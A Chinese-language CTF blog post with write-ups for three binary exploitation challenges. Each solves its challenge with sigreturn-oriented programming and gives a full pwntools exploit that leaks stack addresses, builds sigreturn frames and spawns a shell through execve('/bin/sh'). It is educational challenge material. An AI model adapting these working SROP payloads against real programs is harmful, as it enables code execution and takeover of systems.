天天看点

SROP三连击(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest)

【SROP】ciscn_2019_es_7

1. ida 分析

  • vuln有两个函数,read、write;read函数存在栈溢出,write能够泄露栈上的地址
SROP三连击(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest)
  • 存在sigreturn的调用
SROP三连击(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest)

2. 思路

  1. 首先泄露栈上的返回地址,然后通过gdb调试,输入的参数与返回地址的偏移
  2. 有了参数地址,站地址-偏移,就可以输入/bin/sh且得到它的地址
  3. 有了/bin/sh、栈地址、sigreturn、syscall就可以使用SROP

3. exp

from pwn import *
#p = process('./ciscn_2019_es_7')
p = remote('node3.buuoj.cn',28142)
elf = ELF('./ciscn_2019_es_7')
context.log_level = 'debug'
context.arch = 'amd64'
pop_rdi = 0x4005a3
vuln = 0x00000000004004ed
#这里没有加上ebp,原因如下图
payload = b'/bin/sh\x00'*2 + p64(vuln) 
p.sendline(payload)
stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
p.recv()
log.success('stack==>'+str(hex(stack_addr)))
binsh_addr = stack_addr - 0x118

sigret = 0x4004da
syscall = 0x400501

frame = SigreturnFrame()
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
#frame.rsp = stack_addr
frame.rax = constants.SYS_execve
frame.rip = syscall

payload = '/bin/sh\x00'*2 + p64(sigret) + p64(syscall) + str(frame)
#gdb.attach(p)
p.sendline(payload)
p.interactive()

           
SROP三连击(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest)

【SROP】rootersctf_2019_srop

1. ida分析

SROP三连击(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest)

2. 思路

1. 通过read函数溢出,pop_rax_syscall_ret 使之执行 frame中的指令(这里的地址可以选择text段)
2. 在frame中设计好 返回后的ebp,esp。需要注意的
 - ==在执行sigreturn时,需要pop rsi(一个参数siginfo),因此,在sigreturn之前需要准备0x8的数据==
3. 返回后,再来一次sigretrun,这次知道到了/bin/sh的地址,可以直接执行execv('/bin/sh',0,0)
           

3. exp

from pwn import *
p = process('./rootersctf_2019_srop')
#p = remote('node3.buuoj.cn',27344)
context.log_level = 'debug'
context.arch = 'amd64'
text = 0x402000
pop_rax_syscall_ret = 0x401032
syscall_ret = 0x401033
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = text
frame.rdx = 0x300
frame.rsp = text
frame.rbp = text
frame.rip = syscall_ret

payload1 = 'b'*136 + p64(pop_rax_syscall_ret) + p64(0xf) + str(frame)
gdb.attach(p)
pause()
p.send(payload1)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = text
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

pause()
payload2 = '/bin/sh'.ljust(8,'\x00') + p64(pop_rax_syscall_ret) +p64(0xf) + str(frame)
p.send(payload2)
p.interactive()

           

【SROP】360chunqiu2017_smallest

1. ida分析

SROP三连击(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest)

2.思路

  1. 整个程序只有一个read函数,没有地址可以利用,首先将需要泄露栈上的一个可用地址,输入三个read
  2. 发送一个字节,\xb3, 此时rsp变为,mov edx 400打头,且rax = 1,当执行到syscall时,等于执行了write(1,rsp,0x400),泄露栈上的地址
  3. 构造frame,read(0,leak,0x400),顺便设置rsp,rbp都指向leak
  4. 将/bin/sh写入可计算的地址,在构造一个frame,执行,execve(’/bin/sh’,0,0)

3. exp

from pwn import *
p = remote('node3.buuoj.cn',28274)
context.log_level = 'debug'
#p = process('./smallest')
elf = process('./smallest')
context.arch = 'amd64'
syscall = 0x4000be
read = 0x4000b0
payload = p64(read)*3 
p.send(payload)
#第一个 read 修改 第二个read的最后一个字节,跳过rax置零,直接执行write(1,rsp,0x400)
p.send('\xb3')
leak = u64(p.recv()[0x8:0x10])
log.success('leak==>'+str(hex(leak)))

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = leak
frame.rdx = 0x400
frame.rsp = leak
frame.rip = syscall
#第三个 read 先将frame放进栈
payload2 = p64(read)+ p64(0xdeadbeef)+str(frame)
#gdb.attach(p)
p.send(payload2)
#进行sigreturn调用,由于frame已经放进栈中,可以直接执行frame中的操作
sigreturn = p64(syscall) + 'b'*7
p.send(sigreturn)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = leak + 0x120
frame.rsi = 0
frame.rdx = 0
frame.rsp = leak
frame.rip = syscall
#利用上一个frame 的read函数,将paylaod3放入leak地址处,计算binsh的偏移
payload3 = p64(read) + 'a'*8 + str(frame)
payload3 = payload3.ljust(0x120,'\x00') + '/bin/sh\x00'
#gdb.attach(p)
p.send(payload3)

#进行sigreturn 调用
p.send(sigreturn)


p.interactive()

           
ctf